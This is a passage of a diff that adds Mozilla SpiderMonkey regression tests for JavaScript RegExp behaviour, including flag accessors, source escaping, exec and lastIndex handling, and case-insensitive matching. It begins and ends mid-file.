+ String([string1]), String(string1.match(string1)));
+
+test();
diff --git a/js/src/tests/non262/RegExp/cross-compartment-getter.js b/js/src/tests/non262/RegExp/cross-compartment-getter.js
new file mode 100644
index 0000000000..c625c63177
--- /dev/null
+++ b/js/src/tests/non262/RegExp/cross-compartment-getter.js
@@ -0,0 +1,43 @@
+const otherGlobal = newGlobal({newCompartment: true});
+
+let regExp = otherGlobal.eval("/a(b|c)/iy");
+
+function get(name) {
+ const descriptor = Object.getOwnPropertyDescriptor(RegExp.prototype, name);
+ return descriptor.get.call(regExp);
+}
+
+assertEq(get("flags"), "iy");
+assertEq(get("global"), false);
+assertEq(get("ignoreCase"), true);
+assertEq(get("multiline"), false);
+assertEq(get("dotAll"), false);
+assertEq(get("source"), "a(b|c)");
+assertEq(get("sticky"), true);
+assertEq(get("unicode"), false);
+
+regExp = otherGlobal.eval("new RegExp('', 'gu')");
+
+assertEq(get("flags"), "gu");
+assertEq(get("global"), true);
+assertEq(get("ignoreCase"), false);
+assertEq(get("multiline"), false);
+assertEq(get("dotAll"), false);
+assertEq(get("source"), "(?:)");
+assertEq(get("sticky"), false);
+assertEq(get("unicode"), true);
+
+// Trigger escaping
+regExp = otherGlobal.eval("new RegExp('a/b', '')");
+
+assertEq(get("flags"), "");
+assertEq(get("global"), false);
+assertEq(get("ignoreCase"), false);
+assertEq(get("multiline"), false);
+assertEq(get("dotAll"), false);
+assertEq(get("source"), "a\\/b");
+assertEq(get("sticky"), false);
+assertEq(get("unicode"), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/descriptor.js b/js/src/tests/non262/RegExp/descriptor.js
new file mode 100644
index 0000000000..cc545b3a6a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/descriptor.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.{global, ignoreCase, multiline, sticky, unicode} - property descriptor";
+
+print(BUGNUMBER + ": " + summary);
+
+var getters = [
+ "flags",
+ "global",
+ "ignoreCase",
+ "multiline",
+ "source",
+ "sticky",
+ "unicode",
+];
+
+for (var name of getters) {
+ var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, name);
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq("writable" in desc, false);
+ assertEq("get" in desc, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/empty-lookahead.js b/js/src/tests/non262/RegExp/empty-lookahead.js
new file mode 100644
index 0000000000..6e2f709e86
--- /dev/null
+++ b/js/src/tests/non262/RegExp/empty-lookahead.js
@@ -0,0 +1,8 @@
+//bug 473941
+var regexp;
+
+regexp = /(?=)/;
+assertEq(regexp.test('test'), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/escape.js b/js/src/tests/non262/RegExp/escape.js
new file mode 100644
index 0000000000..bb59b797d3
--- /dev/null
+++ b/js/src/tests/non262/RegExp/escape.js
@@ -0,0 +1,70 @@
+var BUGNUMBER = 1130860;
+var summary = 'Slash and LineTerminator should be escaped correctly.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(re, source) {
+ assertEq(re.source, source);
+ assertEq(eval("/" + re.source + "/").source, source);
+ assertEq(re.toString(), "/" + source + "/");
+}
+
+test(/\\n/, "\\\\n");
+test(/\\\n/, "\\\\\\n");
+test(/\\\\n/, "\\\\\\\\n");
+test(RegExp("\\n"), "\\n");
+test(RegExp("\\\n"), "\\n");
+test(RegExp("\\\\n"), "\\\\n");
+
+test(/\\r/, "\\\\r");
+test(/\\\r/, "\\\\\\r");
+test(/\\\\r/, "\\\\\\\\r");
+test(RegExp("\\r"), "\\r");
+test(RegExp("\\\r"), "\\r");
+test(RegExp("\\\\r"), "\\\\r");
+
+test(/\\u2028/, "\\\\u2028");
+test(/\\\u2028/, "\\\\\\u2028");
+test(/\\\\u2028/, "\\\\\\\\u2028");
+test(RegExp("\\u2028"), "\\u2028");
+test(RegExp("\\\u2028"), "\\u2028");
+test(RegExp("\\\\u2028"), "\\\\u2028");
+
+test(/\\u2029/, "\\\\u2029");
+test(/\\\u2029/, "\\\\\\u2029");
+test(/\\\\u2029/, "\\\\\\\\u2029");
+test(RegExp("\\u2029"), "\\u2029");
+test(RegExp("\\\u2029"), "\\u2029");
+test(RegExp("\\\\u2029"), "\\\\u2029");
+
+test(/\//, "\\/");
+test(/\\\//, "\\\\\\/");
+test(RegExp("/"), "\\/");
+test(RegExp("\/"), "\\/");
+test(RegExp("\\/"), "\\/");
+test(RegExp("\\\/"), "\\/");
+test(RegExp("\\\\/"), "\\\\\\/");
+
+test(/[/]/, "[/]");
+test(/[\/]/, "[\\/]");
+test(/[\\/]/, "[\\\\/]");
+test(/[\\\/]/, "[\\\\\\/]");
+test(RegExp("[/]"), "[/]");
+test(RegExp("[\/]"), "[/]");
+test(RegExp("[\\/]"), "[\\/]");
+test(RegExp("[\\\/]"), "[\\/]");
+test(RegExp("[\\\\/]"), "[\\\\/]");
+
+test(RegExp("\[/\]"), "[/]");
+test(RegExp("\[\\/\]"), "[\\/]");
+
+test(/\[\/\]/, "\\[\\/\\]");
+test(/\[\\\/\]/, "\\[\\\\\\/\\]");
+test(RegExp("\\[/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\\\/\\]"), "\\[\\\\\\/\\]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/everything.js b/js/src/tests/non262/RegExp/everything.js
new file mode 100644
index 0000000000..798eccc829
--- /dev/null
+++ b/js/src/tests/non262/RegExp/everything.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: everything.js
+ Description: 'Tests regular expressions'
+
+ Author: Nick Lerissa
+ Date: March 24, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp';
+
+writeHeaderToLog('Executing script: everything.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'Sally and Fred are sure to come.'.match(/^[a-z\s]*/i)
+new TestCase ( "'Sally and Fred are sure to come'.match(/^[a-z\\s]*/i)",
+ String(["Sally and Fred are sure to come"]), String('Sally and Fred are sure to come'.match(/^[a-z\s]*/i)));
+
+// 'test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))
+new TestCase ( "'test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))",
+ String(["test123W+xyz","xyz"]), String('test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))));
+
+// 'number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)
+new TestCase ( "'number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)",
+ String(["12365 number two 9898","12365","9898"]), String('number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)));
+
+var simpleSentence = /(\s?[^\!\?\.]+[\!\?\.])+/;
+// 'See Spot run.'.match(simpleSentence)
+new TestCase ( "'See Spot run.'.match(simpleSentence)",
+ String(["See Spot run.","See Spot run."]), String('See Spot run.'.match(simpleSentence)));
+
+// 'I like it. What's up? I said NO!'.match(simpleSentence)
+new TestCase ( "'I like it. What's up? I said NO!'.match(simpleSentence)",
+ String(["I like it. What's up? I said NO!",' I said NO!']), String('I like it. What\'s up? I said NO!'.match(simpleSentence)));
+
+// 'the quick brown fox jumped over the lazy dogs'.match(/((\w+)\s*)+/)
+new TestCase ( "'the quick brown fox jumped over the lazy dogs'.match(/((\\w+)\\s*)+/)",
+ String(['the quick brown fox jumped over the lazy dogs','dogs','dogs']),String('the quick brown fox jumped over the lazy dogs'.match(/((\w+)\s*)+/)));
+
+test();
diff --git a/js/src/tests/non262/RegExp/exec-002.js b/js/src/tests/non262/RegExp/exec-002.js
new file mode 100644
index 0000000000..d1293e81ec
--- /dev/null
+++ b/js/src/tests/non262/RegExp/exec-002.js
@@ -0,0 +1,186 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/exec-002.js
+ * ECMA Section: 15.7.5.3
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Test cases provided by rogerl@netscape.com
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/exec-002";
+var TITLE = "RegExp.prototype.exec(string)";
+
+
+/*
+ * for each test case, verify:
+ * - type of object returned
+ * - length of the returned array
+ * - value of lastIndex
+ * - value of index
+ * - value of input
+ * - value of the array indices
+ */
+
+AddRegExpCases(
+ /(a|d|q|)x/i,
+ "bcaDxqy",
+ 3,
+ ["Dx", "D"] );
+
+AddRegExpCases(
+ /(a|(e|q))(x|y)/,
+ "bcaddxqy",
+ 6,
+ ["qy","q","q","y"] );
+
+
+AddRegExpCases(
+ /a+b+d/,
+ "aabbeeaabbs",
+ 0,
+ null );
+
+AddRegExpCases(
+ /a*b/,
+ "aaadaabaaa",
+ 4,
+ ["aab"] );
+
+AddRegExpCases(
+ /a*b/,
+ "dddb",
+ 3,
+ ["b"] );
+
+AddRegExpCases(
+ /a*b/,
+ "xxx",
+ 0,
+ null );
+
+AddRegExpCases(
+ /x\d\dy/,
+ "abcx45ysss235",
+ 3,
+ ["x45y"] );
+
+AddRegExpCases(
+ /[^abc]def[abc]+/,
+ "abxdefbb",
+ 2,
+ ["xdefbb"] );
+
+AddRegExpCases(
+ /(a*)baa/,
+ "ccdaaabaxaabaa",
+ 9,
+ ["aabaa", "aa"] );
+
+AddRegExpCases(
+ /(a*)baa/,
+ "aabaa",
+ 0,
+ ["aabaa", "aa"] );
+
+AddRegExpCases(
+ /q(a|b)*q/,
+ "xxqababqyy",
+ 2,
+ ["qababq", "b"] );
+
+AddRegExpCases(
+ /(a(.|[^d])c)*/,
+ "adcaxc",
+ 0,
+ ["adcaxc", "axc", "x"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "abaaaxaabaayy",
+ 0,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "abaaaxaabaayy",
+ 0,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "cccdaaabaxaabaayy",
+ 6,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "cccdaaabqxaabaayy",
+ 7,
+ ["b", ""] );
+
+AddRegExpCases(
+ /"(.|[^"\\\\])*"/,
+ 'xx\"makudonarudo\"yy',
+ 2,
+ ["\"makudonarudo\"", "o"] );
+
+ AddRegExpCases(
+ /"(.|[^"\\\\])*"/,
+ "xx\"ma\"yy",
+ 2,
+ ["\"ma\"", "a"] );
+
+ test();
+
+ function AddRegExpCases(
+ regexp, pattern, index, matches_array ) {
+
+// prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ regexp + ".exec(" + pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+ }
diff --git a/js/src/tests/non262/RegExp/exec-lastIndex-ToInteger.js b/js/src/tests/non262/RegExp/exec-lastIndex-ToInteger.js
new file mode 100644
index 0000000000..4505362d83
--- /dev/null
+++ b/js/src/tests/non262/RegExp/exec-lastIndex-ToInteger.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Author: Geoffrey Sneddon <geoffers+mozilla@gmail.com>
+ */
+
+var BUGNUMBER = 646490;
+var summary =
+ "RegExp.prototype.exec doesn't get the lastIndex and ToInteger() it for " +
+ "non-global regular expressions when it should";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var re = /./, called = 0;
+re.lastIndex = {valueOf: function() { called++; return 0; }};
+re.exec(".");
+re.lastIndex = {toString: function() { called++; return "0"; }};
+re.exec(".");
+re.lastIndex = {
+ valueOf: function() { called++; return 0; },
+ toString: function() { called--; }
+};
+re.exec(".");
+assertEq(called, 3, "FAIL, got " + called);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/exec-lastIndex-negative.js b/js/src/tests/non262/RegExp/exec-lastIndex-negative.js
new file mode 100644
index 0000000000..18eb2ab9d9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/exec-lastIndex-negative.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1207922;
+var summary = "negative lastIndex should be treated as 0.";
+
+print(BUGNUMBER + ": " + summary);
+
+var pattern = /abc/gi;
+var string = 'AbcaBcabC';
+
+var indices = [
+ -1,
+ -Math.pow(2,32),
+ -(Math.pow(2,32) + 1),
+ -Math.pow(2,32) * 2,
+ -Math.pow(2,40),
+ -Number.MAX_VALUE,
+];
+for (var index of indices) {
+ pattern.lastIndex = index;
+ var result = pattern.exec(string);
+ assertEq(result.index, 0);
+ assertEq(result.length, 1);
+ assertEq(result[0], "Abc");
+ assertEq(pattern.lastIndex, 3);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/exec.js b/js/src/tests/non262/RegExp/exec.js
new file mode 100644
index 0000000000..4284b6e014
--- /dev/null
+++ b/js/src/tests/non262/RegExp/exec.js
@@ -0,0 +1,240 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 646490;
+var summary =
+ "RegExp.prototype.exec doesn't get the lastIndex and ToInteger() it for " +
+ "non-global regular expressions when it should";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+function checkExec(description, regex, args, obj)
+{
+ var lastIndex = obj.lastIndex;
+ var index = obj.index;
+ var input = obj.input;
+ var indexArray = obj.indexArray;
+
+ var res = regex.exec.apply(regex, args);
+
+ assertEq(Array.isArray(res), true, description + ": not an array");
+ assertEq(regex.lastIndex, lastIndex, description + ": wrong lastIndex");
+ assertEq(res.index, index, description + ": wrong index");
+ assertEq(res.input, input, description + ": wrong input");
+ assertEq(res.length, indexArray.length, description + ": wrong length");
+ for (var i = 0, sz = indexArray.length; i < sz; i++)
+ assertEq(res[i], indexArray[i], description + " " + i + ": wrong index value");
+}
+
+var exec = RegExp.prototype.exec;
+var r, res, called, obj;
+
+/* 1. Let R be this RegExp object. */
+expectThrowTypeError(function() { exec.call(null); });
+expectThrowTypeError(function() { exec.call(""); });
+expectThrowTypeError(function() { exec.call(5); });
+expectThrowTypeError(function() { exec.call({}); });
+expectThrowTypeError(function() { exec.call([]); });
+expectThrowTypeError(function() { exec.call(); });
+expectThrowTypeError(function() { exec.call(true); });
+expectThrowTypeError(function() { exec.call(Object.create(RegExp.prototype)); });
+expectThrowTypeError(function() { exec.call(Object.create(/a/)); });
+
+
+/* 2. Let S be the value of ToString(string). */
+called = false;
+r = /a/;
+assertEq(r.lastIndex, 0);
+
+checkExec("/a/", r, [{ toString: function() { called = true; return 'ba'; } }],
+ { lastIndex: 0,
+ index: 1,
+ input: "ba",
+ indexArray: ["a"] });
+assertEq(called, true);
+
+called = false;
+try
+{
+ res = r.exec({ toString: null, valueOf: function() { called = true; throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+assertEq(called, true);
+
+called = false;
+obj = r.lastIndex = { valueOf: function() { assertEq(true, false, "shouldn't have been called"); } };
+try
+{
+ res = r.exec({ toString: null, valueOf: function() { assertEq(called, false); called = true; throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+assertEq(called, true);
+assertEq(r.lastIndex, obj);
+
+// We don't test lack of an argument because of RegExp statics non-standard
+// behaviors overriding what really should happen for lack of an argument, sigh.
+
+
+/*
+ * 3. Let length be the length of S.
+ * 4. Let lastIndex be the result of calling the [[Get]] internal method of R with argument "lastIndex".
+ * 5. Let i be the value of ToInteger(lastIndex).
+ */
+r = /b/;
+r.lastIndex = { valueOf: {}, toString: {} };
+expectThrowTypeError(function() { r.exec("foopy"); });
+r.lastIndex = { valueOf: function() { throw new TypeError(); } };
+expectThrowTypeError(function() { r.exec("foopy"); });
+
+
+/*
+ * 6. Let global be the result of calling the [[Get]] internal method of R with argument "global".
+ * 7. If global is false, then let i = 0.
+ */
+obj = { valueOf: function() { return 5; } };
+r = /abc/;
+r.lastIndex = obj;
+
+checkExec("/abc/ take one", r, ["abc-------abc"],
+ { lastIndex: obj,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc"] });
+
+checkExec("/abc/ take two", r, ["abc-------abc"],
+ { lastIndex: obj,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc"] });
+
+
+/*
+ * 8. Let matchSucceeded be false.
+ * 9. Repeat, while matchSucceeded is false
+ * a. If i < 0 or i > length, then
+ * i. Call the [[Put]] internal method of R with arguments "lastIndex", 0, and true.
+ * ii. Return null.
+ * b. Call the [[Match]] internal method of R with arguments S and i.
+ * c. If [[Match]] returned failure, then
+ * i. Let i = i+1.
+ * d. else
+ * i. Let r be the State result of the call to [[Match]].
+ * ii. Set matchSucceeded to true.
+ * e. Let i = i+1.
+ */
+r = /abc()?/;
+r.lastIndex = -5;
+checkExec("/abc()?/ with lastIndex -5", r, ["abc-------abc"],
+ { lastIndex: -5,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc", undefined] });
+
+
+r = /abc/;
+r.lastIndex = -17;
+res = r.exec("cdefg");
+assertEq(res, null);
+assertEq(r.lastIndex, -17);
+
+r = /abc/g;
+r.lastIndex = -42;
+res = r.exec("cdefg");
+assertEq(res, null);
+assertEq(r.lastIndex, 0);
+
+
+/*
+ * 10. Let e be r's endIndex value.
+ * 11. If global is true,
+ * a. Call the [[Put]] internal method of R with arguments "lastIndex", e, and true.
+ */
+r = /abc/g;
+r.lastIndex = 17;
+assertEq(r.exec("sdfs"), null);
+assertEq(r.lastIndex, 0);
+
+r = /abc/g;
+r.lastIndex = 2;
+checkExec("/abc/g", r, ["00abc"],
+ { lastIndex: 5,
+ index: 2,
+ input: "00abc",
+ indexArray: ["abc"] });
+
+
+
+r = /a(b)c/g;
+r.lastIndex = 2;
+checkExec("/a(b)c/g take two", r, ["00abcd"],
+ { lastIndex: 5,
+ index: 2,
+ input: "00abcd",
+ indexArray: ["abc", "b"] });
+
+
+/*
+ * 12. Let n be the length of r's captures array. (This is the same value as
+ * 15.10.2.1's NCapturingParens.)
+ * 13. Let A be a new array created as if by the expression new Array() where
+ * Array is the standard built-in constructor with that name.
+ * 14. Let matchIndex be the position of the matched substring within the
+ * complete String S.
+ * 15. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "index", Property Descriptor {[[Value]]: matchIndex, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 16. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "input", Property Descriptor {[[Value]]: S, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 17. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "length", Property Descriptor {[[Value]]: n + 1}, and true.
+ * 18. Let matchedSubstr be the matched substring (i.e. the portion of S
+ * between offset i inclusive and offset e exclusive).
+ * 19. Call the [[DefineOwnProperty]] internal method of A with arguments "0",
+ * Property Descriptor {[[Value]]: matchedSubstr, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 20. For each integer i such that I > 0 and I ≤ n
+ * a. Let captureI be i th element of r's captures array.
+ * b. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * ToString(i), Property Descriptor {[[Value]]: captureI, [[Writable]:
+ * true, [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 21. Return A.
+ */
+// throughout, above (and in other tests)
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/flag-accessors.js b/js/src/tests/non262/RegExp/flag-accessors.js
new file mode 100644
index 0000000000..848b916c50
--- /dev/null
+++ b/js/src/tests/non262/RegExp/flag-accessors.js
@@ -0,0 +1,49 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.{global, ignoreCase, multiline, sticky, unicode}";
+
+print(BUGNUMBER + ": " + summary);
+
+var props = [
+ "global",
+ "ignoreCase",
+ "multiline",
+ "sticky",
+ "unicode",
+];
+
+testThrows(RegExp.prototype);
+test(/foo/iymg, [true, true, true, true, false]);
+test(RegExp(""), [false, false, false, false, false]);
+test(RegExp("", "mygi"), [true, true, true, true, false]);
+test(RegExp("", "mygiu"), [true, true, true, true, true]);
+
+testThrowsGeneric();
+testThrowsGeneric(1);
+testThrowsGeneric("");
+testThrowsGeneric({});
+testThrowsGeneric(new Proxy({}, {get(){ return true; }}));
+
+function test(obj, expects) {
+ for (var i = 0; i < props.length; i++) {
+ assertEq(obj[props[i]], expects[i]);
+ }
+}
+
+function testThrows(obj) {
+ for (var prop of props) {
+ assertThrowsInstanceOf(obj[prop], TypeError);
+ }
+}
+
+function testThrowsGeneric(obj) {
+ for (var prop of props) {
+ assertThrowsInstanceOf(() => genericGet(obj, prop), TypeError);
+ }
+}
+
+function genericGet(obj, prop) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype, prop).get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/flags-param-handling.js b/js/src/tests/non262/RegExp/flags-param-handling.js
new file mode 100644
index 0000000000..e47799601a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/flags-param-handling.js
@@ -0,0 +1,18 @@
+assertEq(RegExp(/foo/my).flags, "my");
+assertEq(RegExp(/foo/, "gi").flags, "gi");
+assertEq(RegExp(/foo/my, "gi").flags, "gi");
+assertEq(RegExp(/foo/my, "").flags, "");
+assertEq(RegExp(/foo/my, undefined).flags, "my");
+assertThrowsInstanceOf(() => RegExp(/foo/my, null), SyntaxError);
+assertThrowsInstanceOf(() => RegExp(/foo/my, "foo"), SyntaxError);
+
+assertEq(/a/.compile("b", "gi").flags, "gi");
+assertEq(/a/.compile(/b/my).flags, "my");
+assertEq(/a/.compile(/b/my, undefined).flags, "my");
+assertThrowsInstanceOf(() => /a/.compile(/b/my, "gi"), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, ""), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, null), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, "foo"), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/flags.js b/js/src/tests/non262/RegExp/flags.js
new file mode 100644
index 0000000000..0e7545aeee
--- /dev/null
+++ b/js/src/tests/non262/RegExp/flags.js
@@ -0,0 +1,26 @@
+var BUGNUMBER = 1108467;
+var summary = "Implement RegExp.prototype.flags";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.flags, "");
+assertEq(/foo/iymg.flags, "gimy");
+assertEq(RegExp("").flags, "");
+assertEq(RegExp("", "mygi").flags, "gimy");
+assertEq(RegExp("", "mygui").flags, "gimuy");
+assertEq(genericFlags({}), "");
+assertEq(genericFlags({ignoreCase: true}), "i");
+assertEq(genericFlags({sticky:1, unicode:1, global: 0}), "uy");
+assertEq(genericFlags({__proto__: {multiline: true}}), "m");
+assertEq(genericFlags(new Proxy({}, {get(){return true}})), "gimsuy");
+
+assertThrowsInstanceOf(() => genericFlags(), TypeError);
+assertThrowsInstanceOf(() => genericFlags(1), TypeError);
+assertThrowsInstanceOf(() => genericFlags(""), TypeError);
+
+function genericFlags(obj) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype,"flags").get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/getter-name.js b/js/src/tests/non262/RegExp/getter-name.js
new file mode 100644
index 0000000000..d0a413dbc4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/getter-name.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1180290;
+var summary = 'RegExp getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(RegExp, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get.name, "get flags");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "global").get.name, "get global");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "ignoreCase").get.name, "get ignoreCase");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "multiline").get.name, "get multiline");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "source").get.name, "get source");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "sticky").get.name, "get sticky");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "unicode").get.name, "get unicode");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/ignoreCase-multiple.js b/js/src/tests/non262/RegExp/ignoreCase-multiple.js
new file mode 100644
index 0000000000..e52cf499b3
--- /dev/null
+++ b/js/src/tests/non262/RegExp/ignoreCase-multiple.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1280046;
+var summary = "ignoreCase match should perform Canonicalize both on input and pattern.";
+
+print(BUGNUMBER + ": " + summary);
+
+// Each element [code1, upper, code2] satisfies the following condition:
+// ToUpperCase(code1) == upper
+// ToUpperCase(code2) == upper
+var pairs =
+ [
+ // U+00B5: MICRO SIGN
+ // U+039C: GREEK CAPITAL LETTER MU
+ // U+03BC: GREEK SMALL LETTER MU
+ ["\u00B5", "\u039C", "\u03BC"],
+ // U+0345: COMBINING GREEK YPOGEGRAMMENI
+ // U+0399: GREEK CAPITAL LETTER IOTA
+ // U+03B9: GREEK SMALL LETTER IOTA
+ ["\u0345", "\u0399", "\u03B9"],
+ // U+03C2: GREEK SMALL LETTER FINAL SIGMA
+ // U+03A3: GREEK CAPITAL LETTER SIGMA
+ // U+03C3: GREEK SMALL LETTER SIGMA
+ ["\u03C2", "\u03A3", "\u03C3"],
+ // U+03D0: GREEK BETA SYMBOL
+ // U+0392: GREEK CAPITAL LETTER BETA
+ // U+03B2: GREEK SMALL LETTER BETA
+ ["\u03D0", "\u0392", "\u03B2"],
+ // U+03D1: GREEK THETA SYMBOL
+ // U+0398: GREEK CAPITAL LETTER THETA
+ // U+03B8: GREEK SMALL LETTER THETA
+ ["\u03D1", "\u0398", "\u03B8"],
+ // U+03D5: GREEK PHI SYMBOL
+ // U+03A6: GREEK CAPITAL LETTER PHI
+ // U+03C6: GREEK SMALL LETTER PHI
+ ["\u03D5", "\u03A6", "\u03C6"],
+ // U+03D6: GREEK PI SYMBOL
+ // U+03A0: GREEK CAPITAL LETTER PI
+ // U+03C0: GREEK SMALL LETTER PI
+ ["\u03D6", "\u03A0", "\u03C0"],
+ // U+03F0: GREEK KAPPA SYMBOL
+ // U+039A: GREEK CAPITAL LETTER KAPPA
+ // U+03BA: GREEK SMALL LETTER KAPPA
+ ["\u03F0", "\u039A", "\u03BA"],
+ // U+03F1: GREEK RHO SYMBOL
+ // U+03A1: GREEK CAPITAL LETTER RHO
+ // U+03C1: GREEK SMALL LETTER RHO
+ ["\u03F1", "\u03A1", "\u03C1"],
+ // U+03F5: GREEK LUNATE EPSILON SYMBOL
+ // U+0395: GREEK CAPITAL LETTER EPSILON
+ // U+03B5: GREEK SMALL LETTER EPSILON
+ ["\u03F5", "\u0395", "\u03B5"],
+ // U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+ // U+1E60: LATIN CAPITAL LETTER S WITH DOT ABOVE
+ // U+1E61: LATIN SMALL LETTER S WITH DOT ABOVE
